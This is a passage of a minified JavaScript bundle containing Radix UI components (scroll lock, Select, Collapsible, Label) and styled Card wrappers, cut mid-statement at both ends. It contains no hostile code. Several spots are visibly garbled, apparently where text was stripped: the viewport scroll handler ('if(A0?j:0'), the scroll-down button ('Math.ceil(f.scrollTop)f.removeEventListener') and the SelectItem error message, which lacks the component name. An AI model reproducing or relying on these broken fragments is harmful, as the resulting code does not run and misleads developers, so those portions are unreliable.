I=window.getSelection(),B=I&&I.anchorNode,q=B?B===P||B.contains(P):!1;if(q)return!1;var U=gC(R,P);if(!U)return!0;if(U?M=R:(M=R==="v"?"h":"v",U=gC(R,P)),!U)return!1;if(!r.current&&"changedTouches"in w&&(T||j)&&(r.current=M),!M)return!0;var V=r.current||M;return t7(V,O,w,V==="h"?T:j)},[]),f=v.useCallback(function(w){var O=w;if(!(!yl.length||yl[yl.length-1]!==l)){var A="deltaY"in O?yC(O):Ff(O),_=t.current.filter(function(M){return M.name===O.type&&(M.target===O.target||O.target===M.shadowParent)&&n7(M.delta,A)})[0];if(_&&_.should){O.cancelable&&O.preventDefault();return}if(!_){var T=(c.current.shards||[]).map(bC).filter(Boolean).filter(function(M){return M.contains(O.target)}),j=T.length>0?u(O,T[0]):!c.current.noIsolation;j&&O.cancelable&&O.preventDefault()}}},[]),h=v.useCallback(function(w,O,A,_){var T={name:w,delta:O,target:A,should:_,shadowParent:o7(A)};t.current.push(T),setTimeout(function(){t.current=t.current.filter(function(j){return j!==T})},1)},[]),p=v.useCallback(function(w){n.current=Ff(w),r.current=void 0},[]),m=v.useCallback(function(w){h(w.type,yC(w),w.target,u(w,e.lockRef.current))},[]),y=v.useCallback(function(w){h(w.type,Ff(w),w.target,u(w,e.lockRef.current))},[]);v.useEffect(function(){return yl.push(l),e.setCallbacks({onScrollCapture:m,onWheelCapture:m,onTouchMoveCapture:y}),document.addEventListener("wheel",f,gl),document.addEventListener("touchmove",f,gl),document.addEventListener("touchstart",p,gl),function(){yl=yl.filter(function(w){return w!==l}),document.removeEventListener("wheel",f,gl),document.removeEventListener("touchmove",f,gl),document.removeEventListener("touchstart",p,gl)}},[]);var x=e.removeScrollBar,S=e.inert;return v.createElement(v.Fragment,null,S?v.createElement(l,{styles:r7(i)}):null,x?v.createElement(G9,{noRelative:e.noRelative,gapMode:e.gapMode}):null)}function o7(e){for(var t=null;e!==null;)e instanceof ShadowRoot&&(t=e.host,e=e.host),e=e.parentNode;return t}const l7=k9(Dj,i7);var zh=v.forwardRef(function(e,t){return v.createElement(Ih,Dr({},e,{ref:t,sideCar:l7}))});zh.classNames=Ih.classNames;var s7=[" ","Enter","ArrowUp","ArrowDown"],c7=[" ","Enter"],oo="Select",[$h,Bh,u7]=Kb(oo),[Yl]=Fn(oo,[u7,Fl]),Uh=Fl(),[f7,Ai]=Yl(oo),[d7,h7]=Yl(oo),$j=e=>{const{__scopeSelect:t,children:n,open:r,defaultOpen:i,onOpenChange:l,value:c,defaultValue:u,onValueChange:f,dir:h,name:p,autoComplete:m,disabled:y,required:x,form:S}=e,w=Uh(t),[O,A]=v.useState(null),[_,T]=v.useState(null),[j,M]=v.useState(!1),P=Kc(h),[R,I]=Oa({prop:r,defaultProp:i??!1,onChange:l,caller:oo}),[B,q]=Oa({prop:c,defaultProp:u,onChange:f,caller:oo}),U=v.useRef(null),V=O?S||!!O.closest("form"):!0,[oe,le]=v.useState(new Set),ce=Array.from(oe).map(L=>L.props.value).join(";");return E.jsx(zb,{...w,children:E.jsxs(f7,{required:x,scope:t,trigger:O,onTriggerChange:A,valueNode:_,onValueNodeChange:T,valueNodeHasChildren:j,onValueNodeHasChildrenChange:M,contentId:sr(),value:B,onValueChange:q,open:R,onOpenChange:I,dir:P,triggerPointerDownPosRef:U,disabled:y,children:[E.jsx($h.Provider,{scope:t,children:E.jsx(d7,{scope:e.__scopeSelect,onNativeOptionAdd:v.useCallback(L=>{le(F=>new Set(F).add(L))},[]),onNativeOptionRemove:v.useCallback(L=>{le(F=>{const $=new Set(F);return $.delete(L),$})},[]),children:n})}),V?E.jsxs(cP,{"aria-hidden":!0,required:x,tabIndex:-1,name:p,autoComplete:m,value:B,onChange:L=>q(L.target.value),disabled:y,form:S,children:[B===void 0?E.jsx("option",{value:""}):null,Array.from(oe)]},ce):null]})})};$j.displayName=oo;var Bj="SelectTrigger",Uj=v.forwardRef((e,t)=>{const{__scopeSelect:n,disabled:r=!1,...i}=e,l=Uh(n),c=Ai(Bj,n),u=c.disabled||r,f=De(t,c.onTriggerChange),h=Bh(n),p=v.useRef("touch"),[m,y,x]=fP(w=>{const O=h().filter(T=>!T.disabled),A=O.find(T=>T.value===c.value),_=dP(O,w,A);_!==void 0&&c.onValueChange(_.value)}),S=w=>{u||(c.onOpenChange(!0),x()),w&&(c.triggerPointerDownPosRef.current={x:Math.round(w.pageX),y:Math.round(w.pageY)})};return E.jsx($b,{asChild:!0,...l,children:E.jsx(Ce.button,{type:"button",role:"combobox","aria-controls":c.contentId,"aria-expanded":c.open,"aria-required":c.required,"aria-autocomplete":"none",dir:c.dir,"data-state":c.open?"open":"closed",disabled:u,"data-disabled":u?"":void 0,"data-placeholder":uP(c.value)?"":void 0,...i,ref:f,onClick:ue(i.onClick,w=>{w.currentTarget.focus(),p.current!=="mouse"&&S(w)}),onPointerDown:ue(i.onPointerDown,w=>{p.current=w.pointerType;const O=w.target;O.hasPointerCapture(w.pointerId)&&O.releasePointerCapture(w.pointerId),w.button===0&&w.ctrlKey===!1&&w.pointerType==="mouse"&&(S(w),w.preventDefault())}),onKeyDown:ue(i.onKeyDown,w=>{const O=m.current!=="";!(w.ctrlKey||w.altKey||w.metaKey)&&w.key.length===1&&y(w.key),!(O&&w.key===" ")&&s7.includes(w.key)&&(S(),w.preventDefault())})})})});Uj.displayName=Bj;var Hj="SelectValue",qj=v.forwardRef((e,t)=>{const{__scopeSelect:n,className:r,style:i,children:l,placeholder:c="",...u}=e,f=Ai(Hj,n),{onValueNodeHasChildrenChange:h}=f,p=l!==void 0,m=De(t,f.onValueNodeChange);return Ft(()=>{h(p)},[h,p]),E.jsx(Ce.span,{...u,ref:m,style:{pointerEvents:"none"},children:uP(f.value)?E.jsx(E.Fragment,{children:c}):l})});qj.displayName=Hj;var p7="SelectIcon",Fj=v.forwardRef((e,t)=>{const{__scopeSelect:n,children:r,...i}=e;return E.jsx(Ce.span,{"aria-hidden":!0,...i,ref:t,children:r||"▼"})});Fj.displayName=p7;var m7="SelectPortal",Vj=e=>E.jsx(Fc,{asChild:!0,...e});Vj.displayName=m7;var lo="SelectContent",Kj=v.forwardRef((e,t)=>{const n=Ai(lo,e.__scopeSelect),[r,i]=v.useState();if(Ft(()=>{i(new DocumentFragment)},[]),!n.open){const l=r;return l?wo.createPortal(E.jsx(Yj,{scope:e.__scopeSelect,children:E.jsx($h.Slot,{scope:e.__scopeSelect,children:E.jsx("div",{children:e.children})})}),l):null}return E.jsx(Gj,{...e,ref:t})});Kj.displayName=lo;var yr=10,[Yj,Ci]=Yl(lo),v7="SelectContentImpl",g7=g9("SelectContent.RemoveScroll"),Gj=v.forwardRef((e,t)=>{const{__scopeSelect:n,position:r="item-aligned",onCloseAutoFocus:i,onEscapeKeyDown:l,onPointerDownOutside:c,side:u,sideOffset:f,align:h,alignOffset:p,arrowPadding:m,collisionBoundary:y,collisionPadding:x,sticky:S,hideWhenDetached:w,avoidCollisions:O,...A}=e,_=Ai(lo,n),[T,j]=v.useState(null),[M,P]=v.useState(null),R=De(t,ee=>j(ee)),[I,B]=v.useState(null),[q,U]=v.useState(null),V=Bh(n),[oe,le]=v.useState(!1),ce=v.useRef(!1);v.useEffect(()=>{if(T)return Gb(T)},[T]),Yb();const L=v.useCallback(ee=>{const[_e,...Q]=V().map(ne=>ne.ref.current),[fe]=Q.slice(-1),he=document.activeElement;for(const ne of ee)if(ne===he||(ne?.scrollIntoView({block:"nearest"}),ne===_e&&M&&(M.scrollTop=0),ne===fe&&M&&(M.scrollTop=M.scrollHeight),ne?.focus(),document.activeElement!==he))return},[V,M]),F=v.useCallback(()=>L([I,T]),[L,I,T]);v.useEffect(()=>{oe&&F()},[oe,F]);const{onOpenChange:$,triggerPointerDownPosRef:Z}=_;v.useEffect(()=>{if(T){let ee={x:0,y:0};const _e=fe=>{ee={x:Math.abs(Math.round(fe.pageX)-(Z.current?.x??0)),y:Math.abs(Math.round(fe.pageY)-(Z.current?.y??0))}},Q=fe=>{ee.x<=10&&ee.y<=10?fe.preventDefault():T.contains(fe.target)||$(!1),document.removeEventListener("pointermove",_e),Z.current=null};return Z.current!==null&&(document.addEventListener("pointermove",_e),document.addEventListener("pointerup",Q,{capture:!0,once:!0})),()=>{document.removeEventListener("pointermove",_e),document.removeEventListener("pointerup",Q,{capture:!0})}}},[T,$,Z]),v.useEffect(()=>{const ee=()=>$(!1);return window.addEventListener("blur",ee),window.addEventListener("resize",ee),()=>{window.removeEventListener("blur",ee),window.removeEventListener("resize",ee)}},[$]);const[de,D]=fP(ee=>{const _e=V().filter(he=>!he.disabled),Q=_e.find(he=>he.ref.current===document.activeElement),fe=dP(_e,ee,Q);fe&&setTimeout(()=>fe.ref.current.focus())}),X=v.useCallback((ee,_e,Q)=>{const fe=!ce.current&&!Q;(_.value!==void 0&&_.value===_e||fe)&&(B(ee),fe&&(ce.current=!0))},[_.value]),ae=v.useCallback(()=>T?.focus(),[T]),se=v.useCallback((ee,_e,Q)=>{const fe=!ce.current&&!Q;(_.value!==void 0&&_.value===_e||fe)&&U(ee)},[_.value]),me=r==="popper"?b0:Wj,xe=me===b0?{side:u,sideOffset:f,align:h,alignOffset:p,arrowPadding:m,collisionBoundary:y,collisionPadding:x,sticky:S,hideWhenDetached:w,avoidCollisions:O}:{};return E.jsx(Yj,{scope:n,content:T,viewport:M,onViewportChange:P,itemRefCallback:X,selectedItem:I,onItemLeave:ae,itemTextRefCallback:se,focusSelectedItem:F,selectedItemText:q,position:r,isPositioned:oe,searchRef:de,children:E.jsx(zh,{as:g7,allowPinchZoom:!0,children:E.jsx(Lh,{asChild:!0,trapped:_.open,onMountAutoFocus:ee=>{ee.preventDefault()},onUnmountAutoFocus:ue(i,ee=>{_.trigger?.focus({preventScroll:!0}),ee.preventDefault()}),children:E.jsx(Hc,{asChild:!0,disableOutsidePointerEvents:!0,onEscapeKeyDown:l,onPointerDownOutside:c,onFocusOutside:ee=>ee.preventDefault(),onDismiss:()=>_.onOpenChange(!1),children:E.jsx(me,{role:"listbox",id:_.contentId,"data-state":_.open?"open":"closed",dir:_.dir,onContextMenu:ee=>ee.preventDefault(),...A,...xe,onPlaced:()=>le(!0),ref:R,style:{display:"flex",flexDirection:"column",outline:"none",...A.style},onKeyDown:ue(A.onKeyDown,ee=>{const _e=ee.ctrlKey||ee.altKey||ee.metaKey;if(ee.key==="Tab"&&ee.preventDefault(),!_e&&ee.key.length===1&&D(ee.key),["ArrowUp","ArrowDown","Home","End"].includes(ee.key)){let fe=V().filter(he=>!he.disabled).map(he=>he.ref.current);if(["ArrowUp","End"].includes(ee.key)&&(fe=fe.slice().reverse()),["ArrowUp","ArrowDown"].includes(ee.key)){const he=ee.target,ne=fe.indexOf(he);fe=fe.slice(ne+1)}setTimeout(()=>L(fe)),ee.preventDefault()}})})})})})})});Gj.displayName=v7;var y7="SelectItemAlignedPosition",Wj=v.forwardRef((e,t)=>{const{__scopeSelect:n,onPlaced:r,...i}=e,l=Ai(lo,n),c=Ci(lo,n),[u,f]=v.useState(null),[h,p]=v.useState(null),m=De(t,R=>p(R)),y=Bh(n),x=v.useRef(!1),S=v.useRef(!0),{viewport:w,selectedItem:O,selectedItemText:A,focusSelectedItem:_}=c,T=v.useCallback(()=>{if(l.trigger&&l.valueNode&&u&&h&&w&&O&&A){const R=l.trigger.getBoundingClientRect(),I=h.getBoundingClientRect(),B=l.valueNode.getBoundingClientRect(),q=A.getBoundingClientRect();if(l.dir!=="rtl"){const he=q.left-I.left,ne=B.left-he,Ke=R.left-ne,je=R.width+Ke,bt=Math.max(je,I.width),xt=window.innerWidth-yr,Cn=g0(ne,[yr,Math.max(yr,xt-bt)]);u.style.minWidth=je+"px",u.style.left=Cn+"px"}else{const he=I.right-q.right,ne=window.innerWidth-B.right-he,Ke=window.innerWidth-R.right-ne,je=R.width+Ke,bt=Math.max(je,I.width),xt=window.innerWidth-yr,Cn=g0(ne,[yr,Math.max(yr,xt-bt)]);u.style.minWidth=je+"px",u.style.right=Cn+"px"}const U=y(),V=window.innerHeight-yr*2,oe=w.scrollHeight,le=window.getComputedStyle(h),ce=parseInt(le.borderTopWidth,10),L=parseInt(le.paddingTop,10),F=parseInt(le.borderBottomWidth,10),$=parseInt(le.paddingBottom,10),Z=ce+L+oe+$+F,de=Math.min(O.offsetHeight*5,Z),D=window.getComputedStyle(w),X=parseInt(D.paddingTop,10),ae=parseInt(D.paddingBottom,10),se=R.top+R.height/2-yr,me=V-se,xe=O.offsetHeight/2,ee=O.offsetTop+xe,_e=ce+L+ee,Q=Z-_e;if(_e<=se){const he=U.length>0&&O===U[U.length-1].ref.current;u.style.bottom="0px";const ne=h.clientHeight-w.offsetTop-w.offsetHeight,Ke=Math.max(me,xe+(he?ae:0)+ne+F),je=_e+Ke;u.style.height=je+"px"}else{const he=U.length>0&&O===U[0].ref.current;u.style.top="0px";const Ke=Math.max(se,ce+w.offsetTop+(he?X:0)+xe)+Q;u.style.height=Ke+"px",w.scrollTop=_e-se+w.offsetTop}u.style.margin=`${yr}px 0`,u.style.minHeight=de+"px",u.style.maxHeight=V+"px",r?.(),requestAnimationFrame(()=>x.current=!0)}},[y,l.trigger,l.valueNode,u,h,w,O,A,l.dir,r]);Ft(()=>T(),[T]);const[j,M]=v.useState();Ft(()=>{h&&M(window.getComputedStyle(h).zIndex)},[h]);const P=v.useCallback(R=>{R&&S.current===!0&&(T(),_?.(),S.current=!1)},[T,_]);return E.jsx(x7,{scope:n,contentWrapper:u,shouldExpandOnScrollRef:x,onScrollButtonChange:P,children:E.jsx("div",{ref:f,style:{display:"flex",flexDirection:"column",position:"fixed",zIndex:j},children:E.jsx(Ce.div,{...i,ref:m,style:{boxSizing:"border-box",maxHeight:"100%",...i.style}})})})});Wj.displayName=y7;var b7="SelectPopperPosition",b0=v.forwardRef((e,t)=>{const{__scopeSelect:n,align:r="start",collisionPadding:i=yr,...l}=e,c=Uh(n);return E.jsx(Bb,{...c,...l,ref:t,align:r,collisionPadding:i,style:{boxSizing:"border-box",...l.style,"--radix-select-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-select-content-available-width":"var(--radix-popper-available-width)","--radix-select-content-available-height":"var(--radix-popper-available-height)","--radix-select-trigger-width":"var(--radix-popper-anchor-width)","--radix-select-trigger-height":"var(--radix-popper-anchor-height)"}})});b0.displayName=b7;var[x7,Wb]=Yl(lo,{}),x0="SelectViewport",Xj=v.forwardRef((e,t)=>{const{__scopeSelect:n,nonce:r,...i}=e,l=Ci(x0,n),c=Wb(x0,n),u=De(t,l.onViewportChange),f=v.useRef(0);return E.jsxs(E.Fragment,{children:[E.jsx("style",{dangerouslySetInnerHTML:{__html:"[data-radix-select-viewport]{scrollbar-width:none;-ms-overflow-style:none;-webkit-overflow-scrolling:touch;}[data-radix-select-viewport]::-webkit-scrollbar{display:none}"},nonce:r}),E.jsx($h.Slot,{scope:n,children:E.jsx(Ce.div,{"data-radix-select-viewport":"",role:"presentation",...i,ref:u,style:{position:"relative",flex:1,overflow:"hidden auto",...i.style},onScroll:ue(i.onScroll,h=>{const p=h.currentTarget,{contentWrapper:m,shouldExpandOnScrollRef:y}=c;if(y?.current&&m){const x=Math.abs(f.current-p.scrollTop);if(x>0){const S=window.innerHeight-yr*2,w=parseFloat(m.style.minHeight),O=parseFloat(m.style.height),A=Math.max(w,O);if(A0?j:0,m.style.justifyContent="flex-end")}}}f.current=p.scrollTop})})})]})});Xj.displayName=x0;var Zj="SelectGroup",[w7,S7]=Yl(Zj),O7=v.forwardRef((e,t)=>{const{__scopeSelect:n,...r}=e,i=sr();return E.jsx(w7,{scope:n,id:i,children:E.jsx(Ce.div,{role:"group","aria-labelledby":i,...r,ref:t})})});O7.displayName=Zj;var Qj="SelectLabel",Jj=v.forwardRef((e,t)=>{const{__scopeSelect:n,...r}=e,i=S7(Qj,n);return E.jsx(Ce.div,{id:i.id,...r,ref:t})});Jj.displayName=Qj;var _d="SelectItem",[E7,eP]=Yl(_d),tP=v.forwardRef((e,t)=>{const{__scopeSelect:n,value:r,disabled:i=!1,textValue:l,...c}=e,u=Ai(_d,n),f=Ci(_d,n),h=u.value===r,[p,m]=v.useState(l??""),[y,x]=v.useState(!1),S=De(t,_=>f.itemRefCallback?.(_,r,i)),w=sr(),O=v.useRef("touch"),A=()=>{i||(u.onValueChange(r),u.onOpenChange(!1))};if(r==="")throw new Error("A must have a value prop that is not an empty string. This is because the Select value can be set to an empty string to clear the selection and show the placeholder.");return E.jsx(E7,{scope:n,value:r,disabled:i,textId:w,isSelected:h,onItemTextChange:v.useCallback(_=>{m(T=>T||(_?.textContent??"").trim())},[]),children:E.jsx($h.ItemSlot,{scope:n,value:r,disabled:i,textValue:p,children:E.jsx(Ce.div,{role:"option","aria-labelledby":w,"data-highlighted":y?"":void 0,"aria-selected":h&&y,"data-state":h?"checked":"unchecked","aria-disabled":i||void 0,"data-disabled":i?"":void 0,tabIndex:i?void 0:-1,...c,ref:S,onFocus:ue(c.onFocus,()=>x(!0)),onBlur:ue(c.onBlur,()=>x(!1)),onClick:ue(c.onClick,()=>{O.current!=="mouse"&&A()}),onPointerUp:ue(c.onPointerUp,()=>{O.current==="mouse"&&A()}),onPointerDown:ue(c.onPointerDown,_=>{O.current=_.pointerType}),onPointerMove:ue(c.onPointerMove,_=>{O.current=_.pointerType,i?f.onItemLeave?.():O.current==="mouse"&&_.currentTarget.focus({preventScroll:!0})}),onPointerLeave:ue(c.onPointerLeave,_=>{_.currentTarget===document.activeElement&&f.onItemLeave?.()}),onKeyDown:ue(c.onKeyDown,_=>{f.searchRef?.current!==""&&_.key===" "||(c7.includes(_.key)&&A(),_.key===" "&&_.preventDefault())})})})})});tP.displayName=_d;var hc="SelectItemText",nP=v.forwardRef((e,t)=>{const{__scopeSelect:n,className:r,style:i,...l}=e,c=Ai(hc,n),u=Ci(hc,n),f=eP(hc,n),h=h7(hc,n),[p,m]=v.useState(null),y=De(t,A=>m(A),f.onItemTextChange,A=>u.itemTextRefCallback?.(A,f.value,f.disabled)),x=p?.textContent,S=v.useMemo(()=>E.jsx("option",{value:f.value,disabled:f.disabled,children:x},f.value),[f.disabled,f.value,x]),{onNativeOptionAdd:w,onNativeOptionRemove:O}=h;return Ft(()=>(w(S),()=>O(S)),[w,O,S]),E.jsxs(E.Fragment,{children:[E.jsx(Ce.span,{id:f.textId,...l,ref:y}),f.isSelected&&c.valueNode&&!c.valueNodeHasChildren?wo.createPortal(l.children,c.valueNode):null]})});nP.displayName=hc;var rP="SelectItemIndicator",aP=v.forwardRef((e,t)=>{const{__scopeSelect:n,...r}=e;return eP(rP,n).isSelected?E.jsx(Ce.span,{"aria-hidden":!0,...r,ref:t}):null});aP.displayName=rP;var w0="SelectScrollUpButton",iP=v.forwardRef((e,t)=>{const n=Ci(w0,e.__scopeSelect),r=Wb(w0,e.__scopeSelect),[i,l]=v.useState(!1),c=De(t,r.onScrollButtonChange);return Ft(()=>{if(n.viewport&&n.isPositioned){let u=function(){const h=f.scrollTop>0;l(h)};const f=n.viewport;return u(),f.addEventListener("scroll",u),()=>f.removeEventListener("scroll",u)}},[n.viewport,n.isPositioned]),i?E.jsx(lP,{...e,ref:c,onAutoScroll:()=>{const{viewport:u,selectedItem:f}=n;u&&f&&(u.scrollTop=u.scrollTop-f.offsetHeight)}}):null});iP.displayName=w0;var S0="SelectScrollDownButton",oP=v.forwardRef((e,t)=>{const n=Ci(S0,e.__scopeSelect),r=Wb(S0,e.__scopeSelect),[i,l]=v.useState(!1),c=De(t,r.onScrollButtonChange);return Ft(()=>{if(n.viewport&&n.isPositioned){let u=function(){const h=f.scrollHeight-f.clientHeight,p=Math.ceil(f.scrollTop)f.removeEventListener("scroll",u)}},[n.viewport,n.isPositioned]),i?E.jsx(lP,{...e,ref:c,onAutoScroll:()=>{const{viewport:u,selectedItem:f}=n;u&&f&&(u.scrollTop=u.scrollTop+f.offsetHeight)}}):null});oP.displayName=S0;var lP=v.forwardRef((e,t)=>{const{__scopeSelect:n,onAutoScroll:r,...i}=e,l=Ci("SelectScrollButton",n),c=v.useRef(null),u=Bh(n),f=v.useCallback(()=>{c.current!==null&&(window.clearInterval(c.current),c.current=null)},[]);return v.useEffect(()=>()=>f(),[f]),Ft(()=>{u().find(p=>p.ref.current===document.activeElement)?.ref.current?.scrollIntoView({block:"nearest"})},[u]),E.jsx(Ce.div,{"aria-hidden":!0,...i,ref:t,style:{flexShrink:0,...i.style},onPointerDown:ue(i.onPointerDown,()=>{c.current===null&&(c.current=window.setInterval(r,50))}),onPointerMove:ue(i.onPointerMove,()=>{l.onItemLeave?.(),c.current===null&&(c.current=window.setInterval(r,50))}),onPointerLeave:ue(i.onPointerLeave,()=>{f()})})}),A7="SelectSeparator",sP=v.forwardRef((e,t)=>{const{__scopeSelect:n,...r}=e;return E.jsx(Ce.div,{"aria-hidden":!0,...r,ref:t})});sP.displayName=A7;var O0="SelectArrow",C7=v.forwardRef((e,t)=>{const{__scopeSelect:n,...r}=e,i=Uh(n),l=Ai(O0,n),c=Ci(O0,n);return l.open&&c.position==="popper"?E.jsx(Ub,{...i,...r,ref:t}):null});C7.displayName=O0;var _7="SelectBubbleInput",cP=v.forwardRef(({__scopeSelect:e,value:t,...n},r)=>{const i=v.useRef(null),l=De(r,i),c=Oj(t);return v.useEffect(()=>{const u=i.current;if(!u)return;const f=window.HTMLSelectElement.prototype,p=Object.getOwnPropertyDescriptor(f,"value").set;if(c!==t&&p){const m=new Event("change",{bubbles:!0});p.call(u,t),u.dispatchEvent(m)}},[c,t]),E.jsx(Ce.select,{...n,style:{...XM,...n.style},ref:l,defaultValue:t})});cP.displayName=_7;function uP(e){return e===""||e===void 0}function fP(e){const t=en(e),n=v.useRef(""),r=v.useRef(0),i=v.useCallback(c=>{const u=n.current+c;t(u),(function f(h){n.current=h,window.clearTimeout(r.current),h!==""&&(r.current=window.setTimeout(()=>f(""),1e3))})(u)},[t]),l=v.useCallback(()=>{n.current="",window.clearTimeout(r.current)},[]);return v.useEffect(()=>()=>window.clearTimeout(r.current),[]),[n,i,l]}function dP(e,t,n){const i=t.length>1&&Array.from(t).every(h=>h===t[0])?t[0]:t,l=n?e.indexOf(n):-1;let c=T7(e,Math.max(l,0));i.length===1&&(c=c.filter(h=>h!==n));const f=c.find(h=>h.textValue.toLowerCase().startsWith(i.toLowerCase()));return f!==n?f:void 0}function T7(e,t){return e.map((n,r)=>e[(t+r)%e.length])}var N7=$j,hP=Uj,M7=qj,j7=Fj,P7=Vj,pP=Kj,R7=Xj,mP=Jj,vP=tP,D7=nP,k7=aP,gP=iP,yP=oP,bP=sP;const L7=N7,I7=M7,xP=v.forwardRef(({className:e,children:t,...n},r)=>E.jsxs(hP,{ref:r,className:Ee("flex h-10 w-full items-center justify-between rounded-md border border-input bg-background px-3 py-2 text-sm ring-offset-background placeholder:text-muted-foreground focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 [&>span]:line-clamp-1",e),...n,children:[t,E.jsx(j7,{asChild:!0,children:E.jsx(Ch,{className:"h-4 w-4 opacity-50"})})]}));xP.displayName=hP.displayName;const wP=v.forwardRef(({className:e,...t},n)=>E.jsx(gP,{ref:n,className:Ee("flex cursor-default items-center justify-center py-1",e),...t,children:E.jsx(R6,{className:"h-4 w-4"})}));wP.displayName=gP.displayName;const SP=v.forwardRef(({className:e,...t},n)=>E.jsx(yP,{ref:n,className:Ee("flex cursor-default items-center justify-center py-1",e),...t,children:E.jsx(Ch,{className:"h-4 w-4"})}));SP.displayName=yP.displayName;const OP=v.forwardRef(({className:e,children:t,position:n="popper",...r},i)=>E.jsx(P7,{children:E.jsxs(pP,{ref:i,className:Ee("relative z-50 max-h-96 min-w-[8rem] overflow-hidden rounded-md border bg-popover text-popover-foreground shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",n==="popper"&&"data-[side=bottom]:translate-y-1 data-[side=left]:-translate-x-1 data-[side=right]:translate-x-1 data-[side=top]:-translate-y-1",e),position:n,...r,children:[E.jsx(wP,{}),E.jsx(R7,{className:Ee("p-1",n==="popper"&&"max-h-[--radix-select-content-available-height] w-full min-w-[var(--radix-select-trigger-width)]"),children:t}),E.jsx(SP,{})]})}));OP.displayName=pP.displayName;const z7=v.forwardRef(({className:e,...t},n)=>E.jsx(mP,{ref:n,className:Ee("py-1.5 pl-8 pr-2 text-sm font-semibold",e),...t}));z7.displayName=mP.displayName;const EP=v.forwardRef(({className:e,children:t,...n},r)=>E.jsxs(vP,{ref:r,className:Ee("relative flex w-full cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",e),...n,children:[E.jsx("span",{className:"absolute left-2 flex h-3.5 w-3.5 items-center justify-center",children:E.jsx(k7,{children:E.jsx(gM,{className:"h-4 w-4"})})}),E.jsx(D7,{children:t})]}));EP.displayName=vP.displayName;const $7=v.forwardRef(({className:e,...t},n)=>E.jsx(bP,{ref:n,className:Ee("-mx-1 my-1 h-px bg-muted",e),...t}));$7.displayName=bP.displayName;var Hh="Collapsible",[B7]=Fn(Hh),[U7,Xb]=B7(Hh),AP=v.forwardRef((e,t)=>{const{__scopeCollapsible:n,open:r,defaultOpen:i,disabled:l,onOpenChange:c,...u}=e,[f,h]=Oa({prop:r,defaultProp:i??!1,onChange:c,caller:Hh});return E.jsx(U7,{scope:n,disabled:l,contentId:sr(),open:f,onOpenToggle:v.useCallback(()=>h(p=>!p),[h]),children:E.jsx(Ce.div,{"data-state":Qb(f),"data-disabled":l?"":void 0,...u,ref:t})})});AP.displayName=Hh;var CP="CollapsibleTrigger",_P=v.forwardRef((e,t)=>{const{__scopeCollapsible:n,...r}=e,i=Xb(CP,n);return E.jsx(Ce.button,{type:"button","aria-controls":i.contentId,"aria-expanded":i.open||!1,"data-state":Qb(i.open),"data-disabled":i.disabled?"":void 0,disabled:i.disabled,...r,ref:t,onClick:ue(e.onClick,i.onOpenToggle)})});_P.displayName=CP;var Zb="CollapsibleContent",TP=v.forwardRef((e,t)=>{const{forceMount:n,...r}=e,i=Xb(Zb,e.__scopeCollapsible);return E.jsx(ln,{present:n||i.open,children:({present:l})=>E.jsx(H7,{...r,ref:t,present:l})})});TP.displayName=Zb;var H7=v.forwardRef((e,t)=>{const{__scopeCollapsible:n,present:r,children:i,...l}=e,c=Xb(Zb,n),[u,f]=v.useState(r),h=v.useRef(null),p=De(t,h),m=v.useRef(0),y=m.current,x=v.useRef(0),S=x.current,w=c.open||u,O=v.useRef(w),A=v.useRef(void 0);return v.useEffect(()=>{const _=requestAnimationFrame(()=>O.current=!1);return()=>cancelAnimationFrame(_)},[]),Ft(()=>{const _=h.current;if(_){A.current=A.current||{transitionDuration:_.style.transitionDuration,animationName:_.style.animationName},_.style.transitionDuration="0s",_.style.animationName="none";const T=_.getBoundingClientRect();m.current=T.height,x.current=T.width,O.current||(_.style.transitionDuration=A.current.transitionDuration,_.style.animationName=A.current.animationName),f(r)}},[c.open,r]),E.jsx(Ce.div,{"data-state":Qb(c.open),"data-disabled":c.disabled?"":void 0,id:c.contentId,hidden:!w,...l,ref:p,style:{"--radix-collapsible-content-height":y?`${y}px`:void 0,"--radix-collapsible-content-width":S?`${S}px`:void 0,...e.style},children:w&&i})});function Qb(e){return e?"open":"closed"}var q7=AP;const F7=q7,V7=_P,K7=TP;var Y7=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],G7=Y7.reduce((e,t)=>{const n=Rh(`Primitive.${t}`),r=v.forwardRef((i,l)=>{const{asChild:c,...u}=i,f=c?n:t;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),E.jsx(f,{...u,ref:l})});return r.displayName=`Primitive.${t}`,{...e,[t]:r}},{}),W7="Label",NP=v.forwardRef((e,t)=>E.jsx(G7.label,{...e,ref:t,onMouseDown:n=>{n.target.closest("button, input, select, textarea")||(e.onMouseDown?.(n),!n.defaultPrevented&&n.detail>1&&n.preventDefault())}}));NP.displayName=W7;var MP=NP;const X7=Dh("text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70"),On=v.forwardRef(({className:e,...t},n)=>E.jsx(MP,{ref:n,className:Ee(X7(),e),...t}));On.displayName=MP.displayName;const Gl=v.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ee("rounded-lg border bg-card text-card-foreground shadow-sm",e),...t}));Gl.displayName="Card";const Wl=v.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ee("flex flex-col space-y-1.5 p-6",e),...t}));Wl.displayName="CardHeader";const Xl=v.forwardRef(({className:e,...t},n)=>E.jsx("h3",{ref:n,className:Ee("text-2xl font-semibold leading-none tracking-tight",e),...t}));Xl.displayName="CardTitle";const Z7=v.forwardRef(({className:e,...t},n)=>E.jsx("p",{ref:n,className:Ee("text-sm text-muted-foreground",e),...t}));Z7.displayName="CardDescription";const Zl=v.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ee("p-6 pt-0",e),...t}));Zl.displayName="CardContent";const Q7=v.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ee("flex items-center p-6 pt-0",e),...t}));Q7.displayName="CardFooter";const J7=Dh("relative w-full rounded-lg border p-4 [&>svg~*]:pl-7 